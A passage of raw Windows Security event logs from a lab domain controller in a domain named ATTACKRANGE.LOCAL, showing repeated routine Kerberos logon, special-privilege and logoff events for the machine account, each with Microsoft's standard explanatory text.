Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE3DD9
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64241

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249413
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE3DD9

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249412
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE3D73

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249411
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE3D73
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64240

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249410
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE3D73

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249409
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE3D12

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249408
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE3D12
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64239

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249407
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE3D12

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249430
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE3FCC

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249429
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE3FCC
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64246

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249428
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE3FCC

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249427
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE3F6B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249426
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE3F6B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64245

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249425
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE3F6B

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249424
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE3F05

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249423
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE3F05
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64244

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249422
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE3F05

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249421
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE3EA4

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249420
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE3EA4
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64243

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249419
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE3EA4

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249442
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE415D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249441
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE415D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64250

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249440
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE415D

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249439
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE40FC

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249438
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE40FC
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64249

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249437
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE40FC

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249436
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE4096

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249435
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE4096
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64248

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

